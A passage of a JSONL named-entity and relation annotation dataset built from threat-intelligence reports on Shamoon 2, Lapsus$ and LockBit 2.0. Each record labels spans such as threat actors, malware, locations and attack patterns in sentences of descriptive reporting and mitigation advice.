credentials.","entities":[{"id":47759,"label":"threat-actor","start_offset":74,"end_offset":83}],"relations":[],"Comments":[]} +{"id":2561,"text":"We do believe there is evidence suggestive of a connection between Shamoon 2 and the Magic Hound campaign, which could indicate these two attack campaigns could have worked in conjunction with each other to execute the Shamoon 2 attacks.","entities":[{"id":47761,"label":"campaign","start_offset":85,"end_offset":105},{"id":47760,"label":"campaign","start_offset":67,"end_offset":76},{"id":47762,"label":"campaign","start_offset":219,"end_offset":228}],"relations":[{"id":350,"from_id":47761,"to_id":47760,"type":"related-to"}],"Comments":[]} +{"id":2562,"text":" We also believe the presence of specific, valid named hosts from the network used in Stage 2 shows they were obtained directly from Active Directory on a domain controller.","entities":[{"id":47763,"label":"SOFTWARE","start_offset":133,"end_offset":149}],"relations":[],"Comments":[]} +{"id":2563,"text":"This is also suggestive of access to the network through legitimate, stolen credentials.","entities":[],"relations":[],"Comments":[]} +{"id":2564,"text":"In one sample we examined, we found a total of 844 hostnames.","entities":[],"relations":[],"Comments":[]} +{"id":2565,"text":" This also helps to set context for how widely Disttrack can attempt to spread: 844 systems, each attempting to spread to 256, means that from one distribution server, Shamoon 2 attackers could potentially try to spread Disttrack to 216,064 systems; and that’s not counting if any of those infected systems, in turn, attempts to spread to an additional 256 systems.","entities":[{"id":45593,"label":"threat-actor","start_offset":168,"end_offset":177},{"id":45594,"label":"malware","start_offset":47,"end_offset":56},{"id":45595,"label":"malware","start_offset":220,"end_offset":229}],"relations":[],"Comments":[]} +{"id":2566,"text":" Shamoon 2 attacks are very targeted to a specific region.","entities":[{"id":47764,"label":"threat-actor","start_offset":1,"end_offset":10}],"relations":[],"Comments":[]} +{"id":2567,"text":"But it would be a mistake to write-off the threat that Shamoon 2 demonstrates.","entities":[{"id":47765,"label":"threat-actor","start_offset":55,"end_offset":64}],"relations":[],"Comments":[]} +{"id":2568,"text":"Shamoon 2 attackers are using a rudimentary, but effective, distribution system of their own making.","entities":[{"id":45596,"label":"threat-actor","start_offset":0,"end_offset":9}],"relations":[],"Comments":[]} +{"id":2569,"text":"The power of their attack doesn’t lie in the tools they use but in their ability to obtain and abuse legitimate credentials.","entities":[{"id":47766,"label":"attack-pattern","start_offset":84,"end_offset":123}],"relations":[],"Comments":[]} +{"id":2570,"text":" This underscores why credential theft is something that organizations should prioritize as a top threat and take steps to understand it and prevent it.","entities":[{"id":47767,"label":"attack-pattern","start_offset":22,"end_offset":38}],"relations":[],"Comments":[]} +{"id":2571,"text":"We’ve recently published a new Unit 42 white paper on credential theft that we encourage you to read.","entities":[{"id":45597,"label":"identity","start_offset":31,"end_offset":38},{"id":45598,"label":"attack-pattern","start_offset":54,"end_offset":70}],"relations":[],"Comments":[]} +{"id":2572,"text":"To help customers take steps to better understand and protect against this threat, we’ve posted information in our article PAN-OS Configuration Recommendations to Protect Against Shamoon 2 located in our Threat and Vulnerability Articles section on our Live Community.","entities":[{"id":47768,"label":"threat-actor","start_offset":179,"end_offset":188}],"relations":[],"Comments":[]} +{"id":2573,"text":"You can also join in the discussion in our “About Threat and Vulnerability Discussions” on the Live Community.","entities":[],"relations":[],"Comments":[]} +{"id":2574,"text":" Ignite ’17 Security Conference: Vancouver, BC June 12–15, 2017 Ignite ’17 Security Conference is a live, four-day conference designed for today’s security professionals.","entities":[{"id":45599,"label":"TIME","start_offset":47,"end_offset":63},{"id":45600,"label":"location","start_offset":33,"end_offset":46}],"relations":[],"Comments":[]} +{"id":2575,"text":"Hear from innovators and experts, gain real-world skills through hands-on sessions and interactive workshops, and find out how breach prevention is changing the security industry.","entities":[],"relations":[],"Comments":[]} +{"id":2576,"text":"Visit the Ignite website for more information on tracks, workshops and marquee sessions.","entities":[],"relations":[],"Comments":[]} +{"id":2577,"text":" Sign up to receive the latest news, cyber threat intelligence and research from us Please enter your email address!","entities":[],"relations":[],"Comments":[]} +{"id":2578,"text":" Please mark, I'm not a robot!","entities":[],"relations":[],"Comments":[]} +{"id":2579,"text":"By submitting this form, you agree to our Terms of Use and acknowledge our Privacy Statement. ","entities":[],"relations":[],"Comments":[]} +{"id":2580,"text":"This post is also available in: 日本語 (Japanese) The Lapsus$ Group threat actor has grown in just a few months from launching a handful of destructive attacks to stealing and publishing source code of multiple top-tier technology companies.","entities":[{"id":45601,"label":"threat-actor","start_offset":57,"end_offset":64}],"relations":[],"Comments":[]} +{"id":2581,"text":"Though sometimes called a ransomware group in reports, Lapsus$ is notable for not deploying ransomware in extortion attempts.","entities":[{"id":7789,"label":"threat-actor","start_offset":55,"end_offset":62}],"relations":[],"Comments":[]} +{"id":2582,"text":"In today’s environment, threat actors favor using ransomware to encrypt data and systems and often extort victims for significant amounts of cryptocurrency in exchange for decryption keys, sometimes turning up the pressure with the threat of publishing stolen data.","entities":[],"relations":[],"Comments":[]} +{"id":2583,"text":"Lapsus$, however, is unusual in its approach – for this group, notoriety most often appears to be the goal, rather than financial gain.","entities":[{"id":45602,"label":"threat-actor","start_offset":0,"end_offset":7}],"relations":[],"Comments":[]} +{"id":2584,"text":" Unit 42 has helped organizations respond to multiple Lapsus$ attacks.","entities":[{"id":47769,"label":"identity","start_offset":1,"end_offset":8},{"id":7797,"label":"threat-actor","start_offset":54,"end_offset":61}],"relations":[],"Comments":[]} +{"id":2585,"text":"The Lapsus$ Group doesn’t employ malware in breached victim environments, doesn’t encrypt data and in most cases, doesn’t actually employ extortion.","entities":[{"id":47771,"label":"attack-pattern","start_offset":26,"end_offset":40},{"id":47770,"label":"threat-actor","start_offset":4,"end_offset":11}],"relations":[],"Comments":[]} +{"id":2586,"text":"They focus on using a combination of stolen credentials and social engineering to gain access to victims.","entities":[{"id":45603,"label":"attack-pattern","start_offset":37,"end_offset":55},{"id":45604,"label":"attack-pattern","start_offset":60,"end_offset":78}],"relations":[],"Comments":[]} +{"id":2587,"text":"We’ve also seen them solicit employees on Telegram for their login credentials at specific companies in industries including: telecom, software, gaming, hosting providers and call centers.","entities":[{"id":47772,"label":"SOFTWARE","start_offset":42,"end_offset":50}],"relations":[],"Comments":[]} +{"id":2588,"text":" However, the group’s attacks and leaking of stolen data even without extortion can be very damaging.","entities":[],"relations":[],"Comments":[]} +{"id":2589,"text":"In addition, we’ve seen destructive Lapsus$ attacks where the actors got access to an organization’s cloud environment, wiped systems and destroyed over a thousand virtual machines.","entities":[{"id":45605,"label":"threat-actor","start_offset":36,"end_offset":43}],"relations":[],"Comments":[]} +{"id":2590,"text":" Although there are no public indicators of compromise (IoCs), and no tactics, techniques and procedures (TTPs) that are unique to Lapsus$ Group, here we will summarize what is known of this threat actor to better enable defenders in understanding and mitigating this threat.","entities":[{"id":47773,"label":"threat-actor","start_offset":131,"end_offset":138}],"relations":[],"Comments":[]} +{"id":2591,"text":"Early Targets of Lapsus$ Evolution of Targeted Organizations Mitigation Actions Conclusion","entities":[{"id":7821,"label":"threat-actor","start_offset":17,"end_offset":24}],"relations":[],"Comments":[]} +{"id":2592,"text":"Additional Resources","entities":[],"relations":[],"Comments":[]} +{"id":2593,"text":" We first observed the “Lapsus$” handle mid-2021, but the first attack activity quoting that handle was in August 2021, with some U.K. mobile phone customers reporting receiving threatening texts (Figure 1).","entities":[{"id":47774,"label":"threat-actor","start_offset":24,"end_offset":31},{"id":47776,"label":"TIME","start_offset":107,"end_offset":118},{"id":47777,"label":"location","start_offset":130,"end_offset":134},{"id":47775,"label":"TIME","start_offset":40,"end_offset":48}],"relations":[],"Comments":[]} +{"id":2594,"text":"In December 2021, the Ministry of Health of Brazil fell victim to an attack claimed by Lapsus$ (Figure 2).","entities":[{"id":47778,"label":"TIME","start_offset":3,"end_offset":16},{"id":47780,"label":"threat-actor","start_offset":87,"end_offset":94},{"id":47779,"label":"identity","start_offset":22,"end_offset":50}],"relations":[{"id":351,"from_id":47780,"to_id":47779,"type":"targets"}],"Comments":[]} +{"id":2595,"text":"This included the soon-to-be de rigueur data exfiltration and deletion technique, and also redirection of some DNS records.","entities":[],"relations":[],"Comments":[]} +{"id":2596,"text":"This was followed in short order by attacks on South American telecoms providers Claro and Embratel, Brazilian state-owned postal service “Correios,” and Portuguese media giant Impresa.","entities":[{"id":47784,"label":"location","start_offset":101,"end_offset":110},{"id":47785,"label":"identity","start_offset":139,"end_offset":147},{"id":47786,"label":"location","start_offset":154,"end_offset":164},{"id":47781,"label":"location","start_offset":47,"end_offset":61},{"id":47783,"label":"identity","start_offset":91,"end_offset":99},{"id":47787,"label":"identity","start_offset":176,"end_offset":184},{"id":47782,"label":"identity","start_offset":81,"end_offset":86}],"relations":[{"id":352,"from_id":47787,"to_id":47786,"type":"located-at"},{"id":353,"from_id":47785,"to_id":47784,"type":"located-at"},{"id":354,"from_id":47782,"to_id":47781,"type":"located-at"},{"id":355,"from_id":47783,"to_id":47781,"type":"located-at"}],"Comments":[]} +{"id":2597,"text":"This initial focus has led to speculation that Lapsus$ Group may be Brazilian, although we understand the choice of targets to have been influenced by extended team members rather than the team leadership.","entities":[{"id":47788,"label":"threat-actor","start_offset":47,"end_offset":54},{"id":47789,"label":"location","start_offset":68,"end_offset":77}],"relations":[{"id":356,"from_id":47788,"to_id":47789,"type":"located-at"}],"Comments":[]} +{"id":2598,"text":" Apart from Argentinian eCommerce provider Mercado Libre \/ Mercado Pago, subsequent victimology has departed South America and pivoted to focus on the high-tech sector. Recent public victims have included: It should be understood that in addition there are likely any number of other victims, targeted by attacks not known in the public sphere.","entities":[{"id":45606,"label":"location","start_offset":12,"end_offset":23},{"id":45608,"label":"identity","start_offset":43,"end_offset":56},{"id":45609,"label":"identity","start_offset":59,"end_offset":71},{"id":45610,"label":"location","start_offset":109,"end_offset":122}],"relations":[{"id":357,"from_id":45608,"to_id":45606,"type":"located-at"},{"id":358,"from_id":45609,"to_id":45606,"type":"located-at"},{"id":359,"from_id":45609,"to_id":45608,"type":"related-to"}],"Comments":[]} +{"id":2599,"text":"It is likely that some victims are not the intended end-target, but are rather breached in order to gain access to their customers, or for example, to help bypass multi-factor authentication (MFA).","entities":[],"relations":[],"Comments":[]} +{"id":2600,"text":"To this end, we are aware of this actor’s involvement in vishing, SIM-swapping and soliciting third parties at providers for insider access.","entities":[],"relations":[],"Comments":[]} +{"id":2601,"text":"For example, in the “proof” of the Okta breach posted on the Lapsus$ Group’s Telegram channel, the actor states: “… our focus was ONLY on okta customers” (Figure 3)","entities":[{"id":45614,"label":"identity","start_offset":138,"end_offset":142},{"id":45611,"label":"identity","start_offset":35,"end_offset":39},{"id":45612,"label":"threat-actor","start_offset":61,"end_offset":68},{"id":45613,"label":"SOFTWARE","start_offset":77,"end_offset":85}],"relations":[{"id":360,"from_id":45612,"to_id":45611,"type":"targets"}],"Comments":[]} +{"id":2602,"text":"Several of the Lapsus$ Group’s attacks involved the theft and publication of source code.","entities":[{"id":47790,"label":"threat-actor","start_offset":15,"end_offset":22}],"relations":[],"Comments":[]} +{"id":2603,"text":"In the case of Nvidia, it was observed as a non-financial extortion attempt.","entities":[{"id":47791,"label":"identity","start_offset":15,"end_offset":21}],"relations":[],"Comments":[]} +{"id":2604,"text":"In other cases, for example that of Microsoft, there was simply publication without extortion, again supporting the understanding that the primary motivation of this actor is notoriety rather than financial gain.","entities":[{"id":45615,"label":"identity","start_offset":36,"end_offset":45}],"relations":[],"Comments":[]} +{"id":2605,"text":" However, as notoriety and success cause this group to grow, we should expect to see diversity of membership reflected in a diversity of victimology, TTPs and action-on-objective motivations.","entities":[],"relations":[],"Comments":[]} +{"id":2606,"text":" Owing to the diversity of techniques used, and the lack of use of malware, there is no single defense against or detection of Lapsus$ attacks specifically. ","entities":[{"id":7883,"label":"threat-actor","start_offset":127,"end_offset":134}],"relations":[],"Comments":[]} +{"id":2607,"text":"A hallmark of this group is the diversity of techniques used both for initial access and action-on-objective.","entities":[],"relations":[],"Comments":[]} +{"id":2608,"text":"Credentials are harvested from dumps, purchased or spear-phished.","entities":[],"relations":[],"Comments":[]} +{"id":2609,"text":"When employed, various techniques to bypass MFA are observed – from social engineering, through SIM-swapping and even compromising MFA\/telecoms providers. Zero Trust network architecture and strong security hygiene are the best defenses against this type of threat actor.","entities":[],"relations":[],"Comments":[]} +{"id":2610,"text":"If Lapsus$ has purchased credentials for a network, they can effectively operate as an insider threat, taking advantage of the same privileges the employee has inside the network. Focus on general information security best practices: MFA, access controls and network segmentation.","entities":[{"id":47792,"label":"threat-actor","start_offset":3,"end_offset":10}],"relations":[],"Comments":[]} +{"id":2611,"text":"Ensure your organization has the ability to detect anomalous activity, including activity that involves trusted third parties in your environments, and protect against non-technical techniques such as vishing and SIM-swapping.","entities":[],"relations":[],"Comments":[]} +{"id":2612,"text":"Patching of internal systems that might support lateral movement and privilege escalation should be prioritized, as well as against known public exploits that these actors might employ.","entities":[{"id":47793,"label":"attack-pattern","start_offset":69,"end_offset":89}],"relations":[],"Comments":[]} +{"id":2613,"text":" Although the commodity malware RedLine Stealer has been implicated for credential harvesting in some attacks, it’s unclear if this is first- or third-party, and it cannot be used as a definitive indicator of Lapsus$-specific activity.","entities":[{"id":45617,"label":"malware","start_offset":32,"end_offset":47},{"id":45618,"label":"attack-pattern","start_offset":72,"end_offset":93},{"id":45619,"label":"threat-actor","start_offset":209,"end_offset":216}],"relations":[{"id":109,"from_id":45618,"to_id":45617,"type":"delivers"}],"Comments":[]} +{"id":2614,"text":" Lapsus$ Group has made headlines recently for high-profile attacks, with an apparent goal of gaining notoriety.","entities":[{"id":47794,"label":"threat-actor","start_offset":1,"end_offset":8}],"relations":[],"Comments":[]} +{"id":2615,"text":"They claim in some cases to have targeted organizations with the specific goal of gaining access to customers.","entities":[],"relations":[],"Comments":[]} +{"id":2616,"text":" While referred to as a ransomware group in many reports, the Lapsus$ Group is more accurately called an attack group.","entities":[{"id":45620,"label":"threat-actor","start_offset":62,"end_offset":69}],"relations":[],"Comments":[]} +{"id":2617,"text":"Most notably, their focus to date does not appear to have been on extortion and financial gain.","entities":[],"relations":[],"Comments":[]} +{"id":2618,"text":"Even without extortion, the group’s attacks and leaks of stolen information can be damaging.","entities":[],"relations":[],"Comments":[]} +{"id":2619,"text":" Because the group uses a diversity of techniques for attacks, no single technique can protect against Lapsus$ or detect its attacks.","entities":[{"id":45621,"label":"threat-actor","start_offset":103,"end_offset":110}],"relations":[],"Comments":[]} +{"id":2620,"text":"Because of this, we recommend that organizations focus on observing general information security best practices as described in the Mitigation Actions section above.","entities":[],"relations":[],"Comments":[]} +{"id":2621,"text":" Unit 42, together with researchers at Unit 221b, identified the primary actor behind the Lapsus$ Group moniker in 2021, and have been assisting law enforcement in their efforts to prosecute this group.","entities":[{"id":47795,"label":"identity","start_offset":1,"end_offset":8},{"id":47796,"label":"identity","start_offset":39,"end_offset":48},{"id":47798,"label":"TIME","start_offset":115,"end_offset":119},{"id":47797,"label":"threat-actor","start_offset":90,"end_offset":97}],"relations":[],"Comments":[]} +{"id":2622,"text":" If you think you may be subject to an active attack or have an urgent matter, get in touch with the Unit 42 Incident Response team or call North America Toll-Free: 866.486.4842 (866.4.UNIT42), EMEA: +31.20.299.3130, APAC: +65.6983.8730, or Japan: +81.50.1790.0200.","entities":[{"id":45625,"label":"location","start_offset":241,"end_offset":246},{"id":45627,"label":"location","start_offset":217,"end_offset":221},{"id":45624,"label":"location","start_offset":140,"end_offset":153},{"id":45626,"label":"location","start_offset":194,"end_offset":198},{"id":45623,"label":"identity","start_offset":101,"end_offset":131}],"relations":[],"Comments":[]} +{"id":2623,"text":" Palo Alto Networks will update this Threat Brief with new information and recommendations as they become available. DEV-0537 criminal actor targeting organizations for data exfiltration and destruction A Closer Look","entities":[{"id":47799,"label":"identity","start_offset":1,"end_offset":19},{"id":47800,"label":"threat-actor","start_offset":118,"end_offset":126}],"relations":[],"Comments":[]} +{"id":2624,"text":"the","entities":[],"relations":[],"Comments":[]} +{"id":2625,"text":"LAPSUS$","entities":[{"id":45628,"label":"threat-actor","start_offset":0,"end_offset":7}],"relations":[],"Comments":[]} +{"id":2626,"text":"Data Extortion Group Lapsus$ Telegram channel: t[.]me\/minsaudebr","entities":[{"id":47801,"label":"URL","start_offset":47,"end_offset":64},{"id":7950,"label":"threat-actor","start_offset":21,"end_offset":28}],"relations":[],"Comments":[]} +{"id":2627,"text":"Email address associated with Lapsus$ Group: saudegroup[at]ctemplar[.]com Updated March 25, 2022, at 8:30 a.m. PT.","entities":[{"id":47803,"label":"EMAIL","start_offset":45,"end_offset":73},{"id":47802,"label":"TIME","start_offset":83,"end_offset":114},{"id":7951,"label":"threat-actor","start_offset":30,"end_offset":37}],"relations":[],"Comments":[]} +{"id":2628,"text":" Sign up to receive the latest news, cyber threat intelligence and research from us Please enter your email address! Please mark, I'm not a robot!","entities":[],"relations":[],"Comments":[]} +{"id":2629,"text":"By submitting this form, you agree to our Terms of Use and acknowledge our Privacy Statement. ","entities":[],"relations":[],"Comments":[]} +{"id":2630,"text":"This post is also available in: 日本語 (Japanese) LockBit 2.0 is ransomware as a service (RaaS) that first emerged in June 2021 as an upgrade to its predecessor LockBit (aka ABCD Ransomware), which was first observed in September 2019.","entities":[{"id":47805,"label":"TIME","start_offset":121,"end_offset":130},{"id":47806,"label":"malware","start_offset":164,"end_offset":171},{"id":47808,"label":"TIME","start_offset":223,"end_offset":237},{"id":47804,"label":"malware","start_offset":53,"end_offset":64},{"id":47807,"label":"malware","start_offset":177,"end_offset":192}],"relations":[{"id":361,"from_id":47804,"to_id":47806,"type":"variant-of"},{"id":363,"from_id":47807,"to_id":47806,"type":"duplicate-of"}],"Comments":[]} +{"id":2631,"text":"Since its inception, the LockBit 2.0 RaaS attracted affiliates via recruitment campaigns in underground forums, and thus became particularly prolific during the third quarter of calendar year 2021.","entities":[{"id":45629,"label":"malware","start_offset":25,"end_offset":36},{"id":45630,"label":"TIME","start_offset":192,"end_offset":196}],"relations":[],"Comments":[]} +{"id":2632,"text":"The LockBit 2.0 operators claimed to have the fastest encryption software of any active ransomware strain as of June 2021, claiming accordingly that this added to its effectiveness and ability to disrupt the ransomware landscape.","entities":[{"id":47809,"label":"TIME","start_offset":112,"end_offset":121},{"id":7968,"label":"threat-actor","start_offset":4,"end_offset":11}],"relations":[],"Comments":[]} +{"id":2633,"text":" While several top-tier RaaS affiliate programs, such as Babuk, DarkSide and REvil (aka Sodinokibi) disappeared from the underground in 2021, LockBit 2.0 continued to operate and gradually became one of the most active ransomware operations.","entities":[{"id":47813,"label":"threat-actor","start_offset":88,"end_offset":98},{"id":47810,"label":"threat-actor","start_offset":57,"end_offset":62},{"id":47811,"label":"threat-actor","start_offset":64,"end_offset":72},{"id":47812,"label":"threat-actor","start_offset":77,"end_offset":82},{"id":47814,"label":"TIME","start_offset":136,"end_offset":140},{"id":47815,"label":"malware","start_offset":142,"end_offset":153}],"relations":[{"id":364,"from_id":47813,"to_id":47812,"type":"variant-of"}],"Comments":[]} +{"id":2634,"text":"While Conti was recognized as being the most prolific ransomware deployed in 2021 per our 2022 Unit 42 Ransomware Threat Report, LockBit 2.0 is the most impactful and widely deployed ransomware variant we have observed in all ransomware breaches during the first quarter of 2022, considering both leak site data and data from cases handled by Unit 42 incident responders.","entities":[{"id":45633,"label":"TIME","start_offset":77,"end_offset":81},{"id":45632,"label":"identity","start_offset":95,"end_offset":102},{"id":45635,"label":"TIME","start_offset":90,"end_offset":94},{"id":45636,"label":"malware","start_offset":129,"end_offset":140},{"id":45637,"label":"TIME","start_offset":257,"end_offset":278},{"id":45631,"label":"threat-actor","start_offset":6,"end_offset":11},{"id":45638,"label":"identity","start_offset":343,"end_offset":350}],"relations":[],"Comments":[]} +{"id":2635,"text":" According to data analysis of ransomware groups’ dark web leak sites, LockBit 2.0 was the most impactful RaaS for five consecutive months.","entities":[{"id":47816,"label":"malware","start_offset":71,"end_offset":82}],"relations":[],"Comments":[]} +{"id":2636,"text":"As of May 25, LockBit 2.0 accounted for 46% of all ransomware-related breach events for 2022.","entities":[{"id":47817,"label":"TIME","start_offset":6,"end_offset":12},{"id":47818,"label":"malware","start_offset":14,"end_offset":25},{"id":47819,"label":"TIME","start_offset":88,"end_offset":92}],"relations":[],"Comments":[]} +{"id":2637,"text":"And the LockBit 2.0 RaaS leak site has the most significant number of published victims, with over 850 in total.","entities":[{"id":45639,"label":"threat-actor","start_offset":8,"end_offset":19}],"relations":[],"Comments":[]} +{"id":2638,"text":" Additionally, LockBit 2.0 has affected many companies globally, with top victims based in the U.S., Italy and Germany.","entities":[{"id":47820,"label":"malware","start_offset":15,"end_offset":26},{"id":47821,"label":"location","start_offset":95,"end_offset":99},{"id":47822,"label":"location","start_offset":101,"end_offset":106},{"id":47823,"label":"location","start_offset":111,"end_offset":118}],"relations":[],"Comments":[]} +{"id":2639,"text":"Its most highly targeted industry verticals include professional services, construction, wholesale and retail, and manufacturing.","entities":[],"relations":[],"Comments":[]} +{"id":2640,"text":" Palo Alto Networks customers receive protections against LockBit 2.0 attacks from Cortex XDR, as well as from the WildFire cloud-delivered security subscription for the Next-Generation Firewall.","entities":[{"id":47824,"label":"malware","start_offset":58,"end_offset":69},{"id":45640,"label":"identity","start_offset":1,"end_offset":19},{"id":45642,"label":"SOFTWARE","start_offset":83,"end_offset":93},{"id":45643,"label":"SOFTWARE","start_offset":115,"end_offset":123}],"relations":[],"Comments":[]} +{"id":2641,"text":"(Please see the Conclusion section for more detail.) LockBit 2.0 Overview Victimology Leak Site Data Unit 42 Incident Response Data on LockBit 2.0 LockBit 2.0 Tactics, Techniques and Procedures LockBit 2.0 Technical Details LockBit 3.0 Courses of Action Conclusion","entities":[{"id":47828,"label":"malware","start_offset":148,"end_offset":159},{"id":47825,"label":"malware","start_offset":54,"end_offset":65},{"id":47826,"label":"identity","start_offset":102,"end_offset":109},{"id":47827,"label":"malware","start_offset":136,"end_offset":147},{"id":47829,"label":"malware","start_offset":195,"end_offset":206},{"id":47830,"label":"malware","start_offset":225,"end_offset":236}],"relations":[],"Comments":[]} +{"id":2642,"text":"Appendix A Additional Resources","entities":[],"relations":[],"Comments":[]} +{"id":2643,"text":" LockBit 2.0 is another example of RaaS that leverages double extortion techniques as part of the attack to pressure victims into paying the ransom.","entities":[{"id":45644,"label":"malware","start_offset":1,"end_offset":12}],"relations":[],"Comments":[]} +{"id":2644,"text":" In some cases, LockBit 2.0 operators have performed DDoS attacks on the victims' infrastructure as well as using a leak site.","entities":[{"id":47831,"label":"malware","start_offset":16,"end_offset":27},{"id":47832,"label":"attack-pattern","start_offset":53,"end_offset":65}],"relations":[],"Comments":[]} +{"id":2645,"text":"This practice is known as triple extortion, a tactic observed in groups like BlackCat, Avaddon and SunCrypt in the past.","entities":[{"id":47833,"label":"threat-actor","start_offset":77,"end_offset":85},{"id":47834,"label":"threat-actor","start_offset":87,"end_offset":94},{"id":47835,"label":"threat-actor","start_offset":99,"end_offset":107}],"relations":[],"Comments":[]} +{"id":2646,"text":" Like other ransomware families such as BlackByte, LockBit 2.0 avoids systems that use Eastern European languages, including many written with Cyrillic alphabets.","entities":[{"id":45646,"label":"malware","start_offset":51,"end_offset":62},{"id":45645,"label":"malware","start_offset":40,"end_offset":49}],"relations":[],"Comments":[]} +{"id":2647,"text":" Unlike other RaaS programs that don't require the affiliates to be super technical or savvy, LockBit 2.0 operators allegedly only work with experienced penetration testers, especially those experienced with tools like Metasploit and Cobalt Strike.","entities":[{"id":47837,"label":"tools","start_offset":219,"end_offset":229},{"id":47838,"label":"tools","start_offset":234,"end_offset":247},{"id":47836,"label":"threat-actor","start_offset":94,"end_offset":105}],"relations":[],"Comments":[]} +{"id":2648,"text":"Affiliates are tasked with gaining initial access to the victim network, allowing LockBit 2.0 to conduct the rest of the attack.","entities":[{"id":47839,"label":"threat-actor","start_offset":82,"end_offset":93}],"relations":[],"Comments":[]} +{"id":2649,"text":" LockBit 2.0 has been observed changing infected computers’ backgrounds to a ransomware note.","entities":[{"id":45647,"label":"threat-actor","start_offset":1,"end_offset":12}],"relations":[],"Comments":[]} +{"id":2650,"text":"The ransomware note was also used to recruit insiders from victim organizations.","entities":[],"relations":[],"Comments":[]} +{"id":2651,"text":"The notes claimed the threat actors would pay “millions of dollars” to insiders who provided access to corporate networks or facilitated a ransomware infection by opening a phishing email and\/or launching a payload manually.","entities":[{"id":47840,"label":"attack-pattern","start_offset":173,"end_offset":187}],"relations":[],"Comments":[]} +{"id":2652,"text":"The threat actors also expressed interest in other access methods such as RDP, VPN and corporate email credentials.","entities":[{"id":47841,"label":"SOFTWARE","start_offset":74,"end_offset":77},{"id":47842,"label":"SOFTWARE","start_offset":79,"end_offset":82}],"relations":[],"Comments":[]} +{"id":2653,"text":"In exchange, they offer a cut of the paid ransom.","entities":[],"relations":[],"Comments":[]} +{"id":2654,"text":" LockBit 2.0 targets organizations opportunistically.","entities":[{"id":47843,"label":"threat-actor","start_offset":1,"end_offset":12}],"relations":[],"Comments":[]} +{"id":2655,"text":"The operators work with initial access brokers to save time and allow for a larger profit potential.","entities":[],"relations":[],"Comments":[]} +{"id":2656,"text":"While typically seeking victims of opportunity, LockBit 2.0 does appear to have victim limitations.","entities":[{"id":47844,"label":"threat-actor","start_offset":48,"end_offset":59}],"relations":[],"Comments":[]} +{"id":2657,"text":"The group announced that they would not target healthcare facilities, social services, educational institutions, charitable organizations and other organizations that “contribute to the survival of the human race”.","entities":[],"relations":[],"Comments":[]} +{"id":2658,"text":"However, despite these claims, there have been instances of affiliates undermining these guidelines by still opting to attack industry verticals such as healthcare and education.","entities":[],"relations":[],"Comments":[]} +{"id":2659,"text":" Organizations in Europe and the U.S. are hit more often by LockBit 2.0 than those in other countries, likely due to the high profitability and insurance payouts.","entities":[{"id":47846,"label":"location","start_offset":33,"end_offset":37},{"id":47847,"label":"threat-actor","start_offset":60,"end_offset":71},{"id":47845,"label":"location","start_offset":18,"end_offset":24}],"relations":[],"Comments":[]} +{"id":2660,"text":" During the first calendar year quarter of 2022, LockBit 2.0 persisted as the most impactful and the most deployed ransomware variant we observed in all ransomware breaches shared on leak sites.","entities":[{"id":47849,"label":"threat-actor","start_offset":49,"end_offset":60},{"id":47848,"label":"TIME","start_offset":12,"end_offset":47}],"relations":[],"Comments":[]} +{"id":2661,"text":" According to leak site data analysis, LockBit 2.0 was the most impactful RaaS for five consecutive months.","entities":[{"id":45651,"label":"threat-actor","start_offset":39,"end_offset":50}],"relations":[],"Comments":[]} +{"id":2662,"text":"As of May 25, LockBit 2.0 accounted for 46% of all ransomware-related breach events for 2022 shared on leak sites.","entities":[{"id":47850,"label":"TIME","start_offset":6,"end_offset":12},{"id":47851,"label":"threat-actor","start_offset":14,"end_offset":25},{"id":47852,"label":"TIME","start_offset":88,"end_offset":92}],"relations":[],"Comments":[]} +{"id":2663,"text":" Additionally, the LockBit 2.0 RaaS leak site has the most significant number of published victims, with over 850 in total.","entities":[{"id":47853,"label":"threat-actor","start_offset":19,"end_offset":30}],"relations":[],"Comments":[]} +{"id":2664,"text":"The site itself typically features information such as victim domains, a time tracker and measures of how much data was compromised.","entities":[],"relations":[],"Comments":[]} +{"id":2665,"text":" LockBit 2.0 claims that they have demanded ransom from at least 12,125 companies, as shown in the figure below.","entities":[{"id":47854,"label":"threat-actor","start_offset":1,"end_offset":12}],"relations":[],"Comments":[]} +{"id":2666,"text":" According to leak site data for LockBit 2.0, since its inception in June 2021, the RaaS has affected many companies globally, with top victims based in the U.S., Italy and Germany. LockBit 2.0 has also impacted various victims across multiple industry verticals.","entities":[{"id":47855,"label":"threat-actor","start_offset":33,"end_offset":44},{"id":47858,"label":"location","start_offset":163,"end_offset":168},{"id":47860,"label":"threat-actor","start_offset":183,"end_offset":194},{"id":47856,"label":"TIME","start_offset":69,"end_offset":78},{"id":47857,"label":"location","start_offset":157,"end_offset":161},{"id":47859,"label":"location","start_offset":173,"end_offset":180}],"relations":[],"Comments":[]} +{"id":2667,"text":"Its most highly targeted industry verticals include professional services, construction, wholesale and retail and manufacturing.","entities":[],"relations":[],"Comments":[]} +{"id":2668,"text":" When looking at leak site data across all ransomware families, we’ve observed LockBit 2.0 targeting the highest number of organizations in the following regions: JAPAC, EMEA, and LATAM.","entities":[{"id":47862,"label":"location","start_offset":163,"end_offset":168},{"id":47863,"label":"location","start_offset":170,"end_offset":174},{"id":47864,"label":"location","start_offset":180,"end_offset":185},{"id":47861,"label":"threat-actor","start_offset":79,"end_offset":90}],"relations":[],"Comments":[]} +{"id":2669,"text":" Cases handled by Unit 42 security consultants involving LockBit 2.0 since its appearance in June 2021 demonstrate shorter dwell times and less flexibility in negotiation in the beginning of FY 2022 (measured October-September) in comparison to the end of FY 2021.","entities":[{"id":47869,"label":"TIME","start_offset":209,"end_offset":226},{"id":47868,"label":"TIME","start_offset":191,"end_offset":198},{"id":47865,"label":"identity","start_offset":18,"end_offset":25},{"id":47866,"label":"threat-actor","start_offset":57,"end_offset":68},{"id":47867,"label":"TIME","start_offset":93,"end_offset":102},{"id":47870,"label":"TIME","start_offset":256,"end_offset":263}],"relations":[],"Comments":[]} +{"id":2670,"text":"The following data is broken into fiscal years and quarters based on when the threat actor breached the network, not when the activity was noticed by a client.","entities":[],"relations":[],"Comments":[]} +{"id":2671,"text":" LockBit 2.0 has shown a decrease in dwell time in FY 2022.","entities":[{"id":47872,"label":"TIME","start_offset":51,"end_offset":58},{"id":47871,"label":"threat-actor","start_offset":1,"end_offset":12}],"relations":[],"Comments":[]} +{"id":2672,"text":"From the last two quarters of FY 2021 to the first two quarters of FY 2022, there has been an average 37-day difference. ","entities":[{"id":47873,"label":"TIME","start_offset":30,"end_offset":37},{"id":47874,"label":"TIME","start_offset":67,"end_offset":74}],"relations":[],"Comments":[]} +{"id":2673,"text":"The difference in initial and final ransom demands over the past fiscal year has been converted to percentages and then averaged.","entities":[],"relations":[],"Comments":[]} 